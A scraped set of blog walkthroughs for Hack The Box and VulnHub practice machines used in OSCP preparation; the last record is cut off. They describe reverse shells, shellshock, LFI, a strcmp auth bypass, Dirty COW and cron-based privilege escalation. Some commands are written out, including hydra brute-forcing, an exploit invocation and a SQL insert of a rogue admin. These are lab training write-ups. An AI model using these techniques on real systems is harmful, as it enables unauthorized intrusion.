PHP file is uploaded successfully.\nLocation of our malicious PHP file ( at the bottom left)\nlets go to the location of the PHP file. torrent/upload .\nMalicious PHP file location\nFrom the image above I can see our PHP file but the file has been renamed. Now at this point, I am going to start a listener in my kali and run the PHP file.\nAnd I got the shell as user www-data.\nReverse shell as the user www-data\nFirst, as always I like to make my shell stable, I use the python to spawn a bash shell.\nI can access the user flag .\nUser flag content\nNow I couldn\u0026rsquo;t find anything interesting looking around. So I uploaded a linpeas script to seek for potential privilege escalation vectors.\nLinux Version\nAs the Linux version from the Linux exploits suggester ( full-nelson) matches. I think this box is vulnerable to dirty cow exploitation. Following the link provided in the Exploit Suggester, I downloaded the exploit.\nOur victim system consists of gcc so I can compile the c file on the target system.\nUsing the dirty cow exploit, I was able to elevate my privilege to root shell.\n","permalink":"https://cyberdai.github.io/posts/htb/popcorn-hack-the-box-walkthrough-without-metasploit/","summary":"This box is from Hack the Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration File Uploads Bypass to uplaod a maliciouos PHP file for initial shell Dirty Cow exploit for Privilege Escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below.\nNmap scan report for 10.10.10.6 Host is up, received user-set (0.","title":"Popcorn Hack The Box Walkthrough ( Without Metasploit)"},{"content":"This box is from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration ( HTTP and HTTPS) Authentication bruteforce using Hydra Exploiting phpLiteAdmin to upload malicious PHP code LFI modification to get the shell. Checking the procesess using pspy Exploiting the chkrootkit vulnerability for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\n80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn\u0026#39;t have a title (text/html). |_http-server-header: Apache/2.4.18 (Ubuntu) 443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) | ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR/localityName=Athens/organizationalUnitName=Support/emailAddress=admin@nineveh.htb | Issuer: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR/localityName=Athens/organizationalUnitName=Support/emailAddress=admin@nineveh.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn\u0026#39;t have a title (text/html). | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.18 (Ubuntu) There are two ports open, port 80 and port 443. From the nmap scan result above, I can see the hostname nineveh.htb. I am going to add this to my /etc/hosts file.\nVisiting the web page, there is nothing interesting.\nfig 1: port 80 (HTTP)\nfig 2: port 443 (HTTPS)\nI performed the nikto scan and the results are below. It shows that there is /info.php which is infact the phpinfo page.\n- Nikto v2.1.6/2.1.5 + Target Host: nineveh.htb + Target Port: 80 + GET The anti-clickjacking X-Frame-Options header is not present. + GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + HEAD Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + GET Server may leak inodes via ETags, header found with file /, inode: b2, size: 5535e4e04002a, mtime: gzip + OPTIONS Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + GET /info.php: Output from the phpinfo() function was found. + OSVDB-3233: GET /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information. + OSVDB-3233: GET /icons/README: Apache default file found. + OSVDB-5292: GET /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake\u0026#39;s list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/ /info.php\nfig 3: /info.php PHP info page\nI am particularly interested in file_uploads settings in phpinfo() and in this case, it is on. This canbe useful later.\nfig 4: File uploads setting in PHP info.\nA quick gobuster scan for directory resulted in the following;\nfig 5: Gobuster scan on port 443\nfig 6 : Gobuser scan in port 80\nSo there is a /db and /secure_notes web directory in port 443 (HTTPS) and /department in port 80 (HTTP).\nBoth web directory results in a login page.\n/db\nfig 7: /db on port 443\n/department\nfig 8: /department on port 80\nLet\u0026rsquo;s start enumerating both login pages but one at a time. I will start with /department . I tried normal username: password combinations and found that the page returned an error if the username is not correct.\nfig 9: Invalid Username Error\nAfter a few tries, username admin works. I am now trying my luck by bruteforcing the authentication.\nfig 10: Bruteforcing the /department/login.php authentication.\nSo I found the credentials admin : 1q2w3e4r5t . Let\u0026rsquo;s log in and see if there is anything interesting inside.\nfig 11: contents inside /department after logging in.\nSo according to the notes, the username and password are hardcoded. So we did not need to brute force this login page. To authenticate the hardcoded username and password, PHP uses strcmp() function. So instead of sending the password value, we can edit the request and send the password array, which will also bypass the authentication.\nSo this was the parameter username=admin\u0026amp;password=guess. Now, we can trick the PHP strcmp() function by sending this parameter which is always true in PHP. username=admin\u0026amp;password[]= . It does not matter now as we are already logged in.\nNow, looking at the web address, I see there is a query with notes =. Anytime I see this sort of query I think there might be LFI.\nhttp://10.10.10.43/department/manage.php?notes=files/ninevehNotes.txt\nNow, I tried a few combinations and found that the query request must consist of word ninevehNotes for the request to be successful.\nLFI = http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../\nSo, now following the explanation of the image above, I was able to confirm the notes = query is vulnerable to LFI. Now, from our initial Nikto scan, we were able to find phpinfo() page with file_uploads enabled. We can exploit LFI with phpinfo() to get the Remote Code Execution (RCE). More details about this can be found here and the python script to get the RCE can be downloaded from here.\nHowever, we are gonna try another process to get the shell. Let\u0026rsquo;s go to our port 443 and enumerate /db/ web directory. A quick search on searchsploit shows that this version can be vulnerable to remote PHP code injection.\nfig 13: Searchsploit vulnerability search for phpliteadmin\nBut for that exploit to work, we need authentication. I am going to bruteforce. let\u0026rsquo;s hope we find the password.\nhydra -l admin -P /usr/share/wordlists/fasttrack.txt 10.10.10.43 https-post-form \u0026#34;/db/index.php:password=^PASS^\u0026amp;remember=yes\u0026amp;login=Log+In\u0026amp;proc_login=true:Incorrect password.\u0026#34; -t 64 fig 14: Bruteforcing the login page /db using hydra.\nNow let\u0026rsquo;s look at how to exploit the database for RCE.\nfig 15: POC - RCE on phpliteadmin.\nLet\u0026rsquo;s follow that process to upload the simple backdoor PHP code. Now we know the location of our malicious PHP file. /var/tmp/ninevehNotes.php.\nfig 16: Malicious PHP file location\nNow, we can use the LFI from our /department page and access this PHP script for RCE\nNow when we access the file, we get the reverse shell.\nfig 17: Initial shell access\nSo looking around I couldn\u0026rsquo;t find anything interesting. I remember that there was a /secure_notes directory before. Let\u0026rsquo;s check there if we missed anything.\nfig 18: Image inside /secure_notes.\nLet\u0026rsquo;s download the image and check for any metadata. Looking inside the image I found an ssh key for the user amrois.\nfig 19: ssh key for user amrois.\nAs we already have access to the system I am going to use this ssh private key to change the user to amrois.\nfig 20: Using private ssh_key to ssh to another user.\nfig 21: user.txt\nNow I upload linpeas and run the script to see any potential privilege escalation vector. I didnt fidn anything interesting. So now I used pspy script to see any processes that we might be able to exploit. There is /usr/bin/chkrootkit running alot.\nfig 22: pspy script process report\nA quick searchsploit search for chkrootkit gave us following result. It looks like there is a privilege escalation exploit.\nfig 23: Searchsploit results for chkrootkit\nFollowing the steps to reproduce the exploit.\nfig 24: Steps to reproduce the privilege escalation\nI got the reverse shell after waiting a minute.\nfig 25: Reverse shell as root\nfig 26: Getting root.txt\nThis box was really interesting but I tried alot to exploit LFI to get RCE through phpinfo() but failed. Spent few hours but the exploit wouldnot work.\n","permalink":"https://cyberdai.github.io/posts/htb/htb-nineveh/","summary":"This box is from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration ( HTTP and HTTPS) Authentication bruteforce using Hydra Exploiting phpLiteAdmin to upload malicious PHP code LFI modification to get the shell. Checking the procesess using pspy Exploiting the chkrootkit vulnerability for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:","title":"Nineveh Hack The Box Walkthrough (without metasploit)"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb enumeration Exploiting the php bash shell to get the initial shell Exploiting the cron job for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-25 18:44:39 EDT for 11s Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Arrexel\u0026#39;s Development Site |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870 Device type: general purpose Running (JUST GUESSING): Linux 3.X|4.X (87%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS fingerprint not ideal because: Didn\u0026#39;t receive UDP response. Please try again with -sSU Aggressive OS guesses: Linux 3.11 - 4.1 (87%), Linux 3.16 (87%), Linux 4.4 (87%), Linux 3.13 (85%) No exact OS matches for host (test conditions non-ideal). Uptime guess: 0.012 days (since Mon Apr 25 18:27:59 2022) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE (using port 3389/tcp) HOP RTT ADDRESS 1 11.76 ms 10.10.14.1 2 11.75 ms 10.10.10.68 There is only one port open, port 80. Let\u0026rsquo;s start with the web enumeration.\nAccording to the homepage, the developer mentioned that there is a phpbash running in this server. Let\u0026rsquo;s try to find it.\nA quick gobuster scan showed a few interesting directories.\nI am particularly interested in /dev and /uploads.\nI found the phpbash developer mentioned.\nQuickly I tried to run some bash / nc reverse shell commands but it didn\u0026rsquo;t work. There must be some sanitization of the commands. I tried uploading the file to the /dev directory and it was permission denied.\nI moved back to html directory and tried uploading a malicious php file but the www-data does not have write permission in that directory either. From our gobuster scan, I remember we had /uploads . Let\u0026rsquo;s try that folder.\nAnd I was able to upload the pentestmonkey PHP reverse shell script.\nLet\u0026rsquo;s try to execute that php file. And I got the reverse shell.\nLet\u0026rsquo;s get the user.txt file.\nNow running the sudo -l command I can see that the user can run any command as user scriptmanager .\nNo I switch the user to scriptmanager.\nsudo -u scritmanager /bin/bash\nNow I looked around but didn\u0026rsquo;t find anything interesting. So I uploaded the linpeas script. Looking at the results from the script I found an interesting folder that has write permission by the user scriptmanager. /scripts\nInside the directory, there are two files.\nInteresting files, let\u0026rsquo;s see the content of the python script.\nSo the script basically opens the file test.txt and writes testing 123! to the file. But, as seen from the picture above, test.txt is owned by root and when we run the python script it cannot write the file and returns a permission denied error.\nBut when we look at the content of test.txt file it has testing 123!. It only happens if the script is run by the root user. Let\u0026rsquo;s see if there is any cron process going on. I will be using pspy to seek any process run by root.\nThere is indeed a cron process running every minute, where the root user is running the python script. Let\u0026rsquo;s change the python script and insert the malicious reverse shell script for privilege escalation.\nNow I wait for the reverse shell.\nThis box is easy rated and was fun to do.\n","permalink":"https://cyberdai.github.io/posts/htb/htb-bashed/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb enumeration Exploiting the php bash shell to get the initial shell Exploiting the cron job for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-25 18:44:39 EDT for 11s Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.","title":"Bashed from hack the box Walkthrough (Without Metasploit)"},{"content":" This box is from Hack The Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration Exploiting ShellShock vulnerability fir initial shell Sudo No Password exploit for Privilege Escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-25 05:36:54 EDT for 11s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Site doesn\u0026#39;t have a title (text/html). 2222/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc= | 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk Device type: general purpose Running (JUST GUESSING): Linux 3.X|4.X (87%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS fingerprint not ideal because: Didn\u0026#39;t receive UDP response. Please try again with -sSU Aggressive OS guesses: Linux 3.11 - 4.1 (87%), Linux 4.4 (87%), Linux 3.16 (86%), Linux 3.13 (85%) Uptime guess: 194.179 days (since Wed Oct 13 01:18:48 2021) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=256 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 587/tcp) HOP RTT ADDRESS 1 24.93 ms 10.10.14.1 2 24.98 ms 10.10.10.56 So I can see there are two ports open, port 80 and port 2222. I will start further enumeration from port 80 ( web port). I will start with the initial gobuster scan for any potential web-directory.\nWhen you scan for web-directory using gobuster, you may not find /cgi-bin/ . It\u0026rsquo;s because it must have / ending the directory as well. So you can use -f in the command and it will search for directory normally and also by adding forward slash as well.\ngobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/common.txt -t 400 --no-error I am particularly interested in /cgi-bin/ . According to our nmap scan, the Linux version is old and the bash shell might have shell-shock vulnerability. I am running gobuster again inside the /cgi-bin directory to see if there are any files that I am interested in.\ngobuster dir -u http://10.10.10.56/cgi-bin -w /usr/share/wordlists/dirbuster/common.txt -x .php,.xml,.txt,.py,.sh -t 400 --no-error Let\u0026rsquo;s see the content of the user.sh file. I downloaded the file and after looking at the content, I can see that it is running the uptime command.\nNow, let\u0026rsquo;s see if it is vulnerable to shellshock. Shellshock vulnerability is when the bash shell function is exploited to run the command instead of saving the environment variable. Bash shell up to version 4.3 is vulnerable to shellshock.\nAfter looking at the searchsploit results, I am particularly interested in Apache mod_cgi RCE.\nI downloaded the python script and after looking at the contents, I found out it has the setlist of pages it checks for the shellshock vulnerability. Our page/file, /cgi-bin/user.sh is not on the list so I added it to the list of pages for the script.\nNow let\u0026rsquo;s run the script.\npython2.7 34900.py payload=reverse rhost=10.10.10.56 lhost=10.10.14.16 lport=1234 We get the shell. I am going to run another bash script to get a proper reverse shell.\nFirst, lets find user.txt\nI started looking for any potential privilege escalation vectors here. User shelly can run perl command as sudo.\nNow going to our old friend gtfobins, I got the one-line script to get the root shell.\nIt\u0026rsquo;s an easy box. I learnt more about shellshock vulnerability and it was fun.\n","permalink":"https://cyberdai.github.io/posts/htb/htb-shocker/","summary":"This box is from Hack The Box and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration Exploiting ShellShock vulnerability fir initial shell Sudo No Password exploit for Privilege Escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-25 05:36:54 EDT for 11s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 63 Apache httpd 2.","title":"Shocker Hack The Box Walkthrough (Without Metasploit)"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nCreating wordlist using cewl and bruteforcing mySQL commands to get the data from database Using pspy64 to find the process run by root and exploiting it for privilage escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-21 03:32:33 EDT for 8s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 67:34:48:1f:25:0e:d7:b3:ea:bb:36:11:22:60:8f:a1 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfI+Um/NEmaDpzy9kccx 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn\u0026#39;t have a title (text/html). | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.38 (Debian) TRACEROUTE HOP RTT ADDRESS 1 0.45 ms 10.0.1.129 There are only two ports open, port 80 and port 22. I will start my enumeration from port 80.\nA quick gobuster scan shows a new interesting directory. /joomla\nI ran the joomscan and could find the more interesting directories and joomla version.\nNow I couldn\u0026rsquo;t find any other vector to proceed ahead. So I decided to bruteforce the joomla using the normal potential username admin , joomla and for password I created a wordlist using the homepage of /joomla.\ncewl -w pass.txt -m 3 http://10.0.1.129/joomla Now I used ZAP to bruteforce the /joomla/administrator login. I got a hit with username joomla and password Gotham.\nI edited one of the template aand created a new hello.php file. Now I copied the pentest monkey php reverseshell script there and got a reverse shell.\nThere are three users according to the home directory. abner penguin and rob\nLooking around I found the config files inside /var/www/html/joomla directory, which has a credential for database.\nSo there is mysql running internally. I tried to login to mysql using the above credentials and it was a HIT.\nLooking inside the database I was able to find the user: password table. There seems to be a password for user rob, which exist as a user in our system too.\nLooking at the table it looks like the password are base64 encoded. Lets decode the password now.\nSo the password is ???AllIHaveAreNegativeThoughts??? . Now port 22 is open for ssh so i will ssh as user rob using the password above.\nInside the home directory there is a file with name Abnerineedyourhelp . Looks like it is encoed using one of the rot rotation of characters.\nPlaying with the number of rotations to make sense, I used rot 1 and was able to decode the text.\nI further decoded the base64 string at the end to get the potential password for user Abner\nPassword for Abner is I33hope99my0death000makes44more8cents00than0my0life0 . I was able to switch the user to abner using the password above.\nNow I was stuck for a while to find the password for user penguins. I though I might have missed something, So I started looking again and found .dear_penguins.zip file inside /var/www/joomla2/administrator/manifests/files/.\nNow unzipping the file using the password of user abner and looking at the content I found the password for user penguin.\nNo Iinside the home directory of user penguin, I find a SUID binary file.\nBut after reading the content of one of the file, it mentions that Joker is trying to create a find binary which only runs with root permissions, which won\u0026rsquo;t be of any use to us. There is another .trash_old which is an executable file.\nNow again I was stuck here for a while for potential vectors. I started looking for the processes running using pspy , which looks for process that running in certain interval. Root is executing that .trash_old file every 2 minutes.\nNow its all easy. I am going to add the malicous code in .trash_old file to get the reverse shell. The file is owned by penguin user so we can edit the file.\nAfter waiting for a minute, I got the reverse shell as root.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/glasgowsmile-vulnhub-walkthrough/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nCreating wordlist using cewl and bruteforcing mySQL commands to get the data from database Using pspy64 to find the process run by root and exploiting it for privilage escalation. I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-21 03:32:33 EDT for 8s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.","title":"GlasgowSmile VulnHUB Walkthrough"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration checking the source-code and static js file MySQL commands to edit the database Exploit the Document Upload vulnerability of SeedDMS to gain initial shell Sudo access for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nNmap scan report for 10.0.0.30 Host is up, received arp-response (0.00042s latency). Scanned at 2022-04-20 20:41:55 EDT for 9s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-title: Welcome to the land of pwnland |_http-server-header: Apache/2.4.41 (Ubuntu) 3306/tcp open mysql syn-ack ttl 64 MySQL 8.0.25-0ubuntu0.20.04.1 | mysql-info: | Protocol: 10 | Version: 8.0.25-0ubuntu0.20.04.1 | Thread ID: 12 | Capabilities flags: 65535 | Some Capabilities: LongColumnFlag, Support41Auth, ConnectWithDatabase, Speaks41ProtocolOld, SwitchToSSLAfterHandshake, InteractiveClient, SupportsCompression, IgnoreSigpipes, LongPassword, SupportsTransactions, FoundRows, Speaks41ProtocolNew, ODBCClient, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins Uptime guess: 13.285 days (since Thu Apr 7 13:52:16 2022) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros TRACEROUTE HOP RTT ADDRESS 1 0.42 ms 10.0.0.30 Now as always I started my enumeration from port 80. Looking around and performing directory busting didn\u0026rsquo;t lead me to any vector. So I started looking for the source code .\nI found an interesting comment in one of the static js file.\nSo there exists a web directory. Going the above-mentioned web directory is one of the open-source database management systems.\nI started searching for the vulnerabilities for this system but all of the vulnerabilities were for the authenticated user. Now as this is the open-source software, I went to github and started looking for file tree structure and location of the config files.\nSearching for the config files default location for seedDMS on google.\nSo looking at github file structure I now know that config file is located inside conf directory. Lets try if I can access this file in our case.\nDefault location seeddms51x/seeddms-5.1.22/conf shows error Not found.\nChanging the web-address to /seeddms51x/conf/ gives us Forbidden error. So the directory does exist but forbidden to access.\nNow in apache, even if the directory is forbidden for access, the files inside that forbidden directory may not be locked or can be accessed by any / unauthenticated user. Let\u0026rsquo;s see if that works in our case.\nIt works and looking at the contents of the settings.xml file, I found the credentials for SQL database.\nDuring our initial nmap scan, there was MySQL running in port 3306. I will try these credentials in MySQL server.\nmysql -h \u0026lt;ip\u0026gt; -u seeddms -p Looking at the databases, I thought seeddms database looks like more interesting. Inside seeddms database, checking the content of users table gave me some credentials.\npassword : Saket@#$1337\nLooking at the contents of the tblUsers table gave me more credentials.\nLooking at the hash it is an MD5 hash.\nI tried cracking the hash but was not successful, so I am going to add a new user into the database with the admin role.\nINSERT INTO tblUsers (login,pwd,fullName,email,language,theme,comment,role,hidden,pwdExpiration,loginfailures,disabled,quota,homefolder) VALUES(\u0026#34;cyberdai\u0026#34;,\u0026#34;b469546c28bb38181a493ad0e2af2429\u0026#34;,\u0026#34;Cyber Dai\u0026#34;,\u0026#34;cyberdai@cyberdai.com\u0026#34;,\u0026#34;en_GB\u0026#34;,\u0026#34;\u0026#34;,\u0026#34;\u0026#34;,1,0,NULL,0,0,0,NULL); Now, I used the cyberdai: cyberdai credential to log in to the seeddms system.\nNow following the searchsploit 47022.txt, I was able to gain the reverse shell.\nSetup the listener on port 1234.\nNow checking the home folder I found user saket. I remember that we found a password for the user Saket Saurav before in the database. I tried using the same password to switch user to saket and succeeded.\nChecking the sudo access for the user saket, I was surprised that he can use sudo for all commands.\nIt was hard to gain the initial shell but privilege escalation was really easy in this box.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/hack-me-please-vulnhub-walkthrough/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb Enumeration checking the source-code and static js file MySQL commands to edit the database Exploit the Document Upload vulnerability of SeedDMS to gain initial shell Sudo access for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:","title":"Hack Me Please VulnHub Walkthrough"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb enumeration with gobuster Wordpress exploit to gain initial shell Sudo exploit for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-20 05:50:19 EDT for 7s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8d:c5:20:23:ab:10:ca:de:e2:fb:e5:cd:4d:2d:4d:72 (RSA) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.18 ((Ubuntu)) |_http-title: HacknPentest | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) Uptime guess: 127.804 days (since Mon Dec 13 09:32:15 2021) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.31 ms 10.0.0.29 The initial scan shows only two ports open, port 80 and port 22. I will start the enumeration from port 80.\nThe Nmap script scan shows that there is a WordPress installation.\nSo, I quickly ran the wpscan on the WordPress server for user and vulnerable plugins enumeration. The following information was gathered.\nWordpress version 5.2.2 User name : victor Further, I couldn\u0026rsquo;t find anything. I started a gobuster scan and found a new web directory. /dev\nIt turns out to be a distract webpage.\nNow I looked for other things but couldn\u0026rsquo;t find anything. Now I run gobuster looking for .php and .txt files in hope of finding something interesting. And I did find secret.txt file\nThe content of secret.txt file gave us another clue.\nFollowing the link, it takes us to a GitHub page where I found the use of wfuzz to enumerate the correct parameter for a page. Following the command to our web-page and using the hint from secret.txt I found another clue.\n10.0.0.29/index.php?file=location.txt So we can use secrettier360 on another php page. According to our gobuster scan, there is /image.php page.\nTried using a few commands and it looks like the parameter is vulnerable to LFI. Lets try to read the content of /etc/passwd.\nIn the /etc/passwd file we can see user saket has the password.txt in his home folder.\nLet\u0026rsquo;s read that file. found the password follow_the_ippsec.\nI tried using this password in WordPress login and was successful logging in with user victor.\nSo looks like we can edit themes. But only secret.php file can be edited.\nSo I will upload the php reverse shell payload from pentest monkey to get the reverse shell.\nhttp://10.0.0.29/wordpress/wp-content/themes/twentynineteen/secret.php Looking around I found an enc executable file inside the saket home directory, which is password protected. Further enumeration, I found the backup_pass file inside opt/backup/server_database which consist password for enc file.\nSo it runs the copy command and copies files /root/enc.txt and /root/key.txt to the home of user saket.\nNow checking the sudo -l command, I can see that the www-data user can run the sudo command to run that enc binary. ( Everything is Connected LOL)\nNow running the binary with the sudo command copies those files to home directory of user saket. The content of those files is as below.\nIt looks like the enc is encrypted text and the key to decrypt is the md5 of the string ippsec. I was lost on this, looking for decrypting base64 with a key on the internet I came through this website, where I can decrypt a AES encrypted text.\nThe decrypted text is as below.\nDont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==\u0026gt; \u0026#34;tribute_to_ippsec\u0026#34; Victor, Looks like it is a password for the user saket. I changed the user to saket .\nNow again running sudo -l command I can see the user saket can run a command with sudo without a password.\nWhen I run that binary with sudo, it returns some error,\nIt says /tmp/challenge not found. I went to the directory /tmp and could not see any file with the name challenge. Can I just create a file with a bash command to get the root shell? Let\u0026rsquo;s try\nYes, got the root shell.\n","permalink":"https://cyberdai.github.io/posts/vulnhub/vulnhub-prime/","summary":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the follows:\nWeb enumeration with gobuster Wordpress exploit to gain initial shell Sudo exploit for privilege escalation I always start my enumeration from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-20 05:50:19 EDT for 7s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.","title":"Prime VulnHUb Walkthrough"},{"content":"This box was downloaded from VulnHub and is also on the TJnull list of practice boxes for OSCP preparation. The box involved the following steps:\nGit repositoru extract Credential extract playing with cryptography Sudo vulnerablity exploited for privilege escalation I always start my exploitation from the autorecon scan. Initial Nmap scan results are as below:\nScanned at 2022-04-20 00:17:48 EDT for 9s Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Corp - DevGuru |_http-generator: DevGuru | http-git: | 10.0.0.28:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file \u0026#39;description\u0026#39; to name the... | Last commit message: first commit | Remotes: | http://devguru.local:8585/frank/devguru-website.git |_ Project type: PHP application (guessed from .gitignore) | http-methods: |_ 